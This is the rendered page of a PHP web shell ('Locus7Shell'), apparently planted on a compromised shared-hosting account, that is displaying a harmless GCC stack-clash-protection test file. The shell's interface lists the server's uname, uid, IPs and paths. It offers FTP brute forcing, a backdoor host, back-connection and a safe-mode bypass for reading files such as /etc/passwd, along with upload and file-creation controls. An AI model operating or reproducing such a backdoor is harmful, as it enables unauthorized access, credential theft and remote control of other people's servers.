Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     stack-check-4.c (1.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* On targets where the call instruction is an implicit probe of *sp, we
   elide stack probes as long as the size of the local stack is less than
   PROBE_INTERVAL.

   But if the caller were to transform a tail call into a direct jump
   we do not have that implicit probe.  This normally isn't a problem as
   the caller must not have a local frame for that optimization to apply.

   However, a sufficiently smart compiler could realize that the caller's
   local stack need not be torn down and thus could transform a call into
   a jump if the target is a noreturn function, even if the caller has
   a local frame.

   To guard against that, targets that depend on *sp being probed by the
   call itself must emit a probe if the target function is a noreturn
   function, even if they just allocate a small amount of stack space.

   Rather than try to parse RTL or assembly code, we instead require the
   prologue code to emit information into the dump file that we can
   scan for.   We scan for both the positive and negative cases.  */

/* { dg-do compile } */
/* { dg-options "-O2 -fstack-clash-protection -fdump-rtl-pro_and_epilogue -fno-optimize-sibling-calls" } */
/* { dg-require-effective-target supports_stack_clash_protection } */

extern void arf (char *);

__attribute__ ((noreturn)) void foo1 ()
{
  char x[10];
  while (1)
    arf (x);
}

void foo2 ()
{
  char x[10];
  arf (x);
}
/* { dg-final { scan-rtl-dump-times "Stack clash noreturn" 1 "pro_and_epilogue" } } */
/* { dg-final { scan-rtl-dump-times "Stack clash not noreturn" 1 "pro_and_epilogue" } } */


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--